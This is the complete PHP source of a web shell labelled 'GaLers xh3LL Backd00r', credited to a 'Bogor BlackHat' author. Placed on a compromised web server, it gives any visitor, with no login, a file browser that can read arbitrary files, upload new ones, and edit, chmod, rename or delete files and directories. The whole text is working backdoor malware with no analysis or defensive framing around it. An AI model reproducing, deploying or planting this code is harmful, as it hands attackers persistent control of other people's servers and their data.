set_time_limit(0);error_reporting(0);if(get_magic_quotes_gpc()){foreach($_POST as $key=>$value){$_POST[$key] = stripslashes($value);}}echo '<!DOCTYPE HTML><HTML><HEAD><link href="" rel="stylesheet" type="text/css">GaLers xh3LL Backd00r<title>GaLers xh3LL Backd00r</title><style>body{font-family: "Racing Sans One", cursive;background-color: #e6e6e6;text-shadow:0px 0px 1px #757575;}#content tr:hover{background-color: #636263;text-shadow:0px 0px 10px #fff;}#content .first{background-color: silver;}#content .first:hover{background-color: silver;text-shadow:0px 0px 1px #757575;}table{border: 1px #000000 dotted;}H1{font-family: "Rye", cursive;}a{color: #000;text-decoration: none;}a:hover{color: #fff;text-shadow:0px 0px 10px #ffffff;}input,select,textarea{border: 1px #000000 solid;-moz-border-radius: 5px;-webkit-border-radius:5px;border-radius:5px;}</style></HEAD><BODY><H1>
[#] GaLers xh3LL Backd00r [#]
</H1><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">Current Path : ';if(isset($_GET['path'])){$path = $_GET['path'];}else{$path = getcwd();}$path = str_replace('\\','/',$path);$paths = explode('/',$path);foreach($paths as $id=>$pat){if($pat == '' && $id == 0){$a = true;echo '<a href="?path=/">/</a>';continue;}if($pat == '') continue;echo '<a href="?path=';for($i=0;$i<=$id;$i++){echo "$paths[$i]";if($i != $id) echo "/";}echo '">'.$pat.'</a>/';}echo '';if(isset($_FILES['file'])){if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){echo '<font color="green">File Upload Done Kakak ~_^ .</font><br />';}else{echo '<font color="red">File Upload Error ~_~.</font><br />';}}echo '
Upload File :
';if(isset($_GET['filesrc'])){echo "Current File : ";echo $_GET['filesrc'];echo '<br />';echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){echo '<br />
'.$_POST['path'].'<br /><br />';if($_POST['opt'] == 'chmod'){if(isset($_POST['perm'])){if(chmod($_POST['path'],$_POST['perm'])){echo '<font color="green">Change Permission Done.</font><br />';}else{echo '<font color="red">Change Permission Error.</font><br />';}}echo '
Permission :
';}elseif($_POST['opt'] == 'rename'){if(isset($_POST['newname'])){if(rename($_POST['path'],$path.'/'.$_POST['newname'])){echo '<font color="green">Change Name Done.</font><br />';}else{echo '<font color="red">Change Name Error.</font><br />';}$_POST['name'] = $_POST['newname'];}echo '
New Name :
';}elseif($_POST['opt'] == 'edit'){if(isset($_POST['src'])){$fp = fopen($_POST['path'],'w');if(fwrite($fp,$_POST['src'])){echo '<font color="green">Edit File Done ~_^.</font><br />';}else{echo '<font color="red">Edit File Error ~_~.</font><br />';}fclose($fp);}echo '
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
';}echo '
';}else{echo '<br />
';if(isset($_GET['option']) && $_POST['opt'] == 'delete'){if($_POST['type'] == 'dir'){if(rmdir($_POST['path'])){echo '<font color="green">Delete Dir Done.</font><br />';}else{echo '<font color="red">Delete Dir Error.</font><br />';}}elseif($_POST['type'] == 'file'){if(unlink($_POST['path'])){echo '<font color="green">Delete File Done.</font><br />';}else{echo '<font color="red">Delete File Error.</font><br />';}}}echo '
';$scandir = scandir($path);echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"><tr class="first">
Name
Size
Permissions
Options
';foreach($scandir as $dir){if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;echo "<a href=\"?path=$path/$dir\">$dir</a>
--
";if(is_writable("$path/$dir")) echo '<font color="green">';elseif(!is_readable("$path/$dir")) echo '<font color="red">';echo perms("$path/$dir");if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';echo "
<select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"chmod\">Chmod</option><option value=\"rename\">Rename</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"$dir\"><input type=\"hidden\" name=\"path\" value=\"$path/$dir\"><input type=\"submit\" value=\">\" />
";}echo '<tr class="first">';foreach($scandir as $file){if(!is_file("$path/$file")) continue;$size = filesize("$path/$file")/1024;$size = round($size,3);if($size >= 1024){$size = round($size/1024,2).' MB';}else{$size = $size.' KB';}echo "<a href=\"?filesrc=$path/$file&path=$path\">$file</a>
".$size."
";if(is_writable("$path/$file")) echo '<font color="green">';elseif(!is_readable("$path/$file")) echo '<font color="red">';echo perms("$path/$file");if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';echo "
<select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"chmod\">Chmod</option><option value=\"rename\">Rename</option><option value=\"edit\">Edit</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"$file\"><input type=\"hidden\" name=\"path\" value=\"$path/$file\"><input type=\"submit\" value=\">\" />
";}echo '</div>';}echo '<br />Mr. DellatioNx196 GaLers xh3LL Backd00r <font color="red">1.0</font>, Coded By <font color="red">Mr. DellatioNx196 - Bogor BlackHat</font></BODY></HTML>';function perms($file){$perms = fileperms($file);if (($perms & 0xC000) == 0xC000) {// Socket$info = 's';} elseif (($perms & 0xA000) == 0xA000) {// Symbolic Link$info = 'l';} elseif (($perms & 0x8000) == 0x8000) {// Regular$info = '-';} elseif (($perms & 0x6000) == 0x6000) {// Block special$info = 'b';} elseif (($perms & 0x4000) == 0x4000) {// Directory$info = 'd';} elseif (($perms & 0x2000) == 0x2000) {// Character special$info = 'c';} elseif (($perms & 0x1000) == 0x1000) {// FIFO pipe$info = 'p';} else {// Unknown$info = 'u';}// Owner$info .= (($perms & 0x0100) ? 'r' : '-');$info .= (($perms & 0x0080) ? 'w' : '-');$info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));// Group$info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));// World$info .= (($perms & 0x0004) ? 'r' : '-');$info .= (($perms & 0x0002) ? 'w' : '-');$info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));return $info;}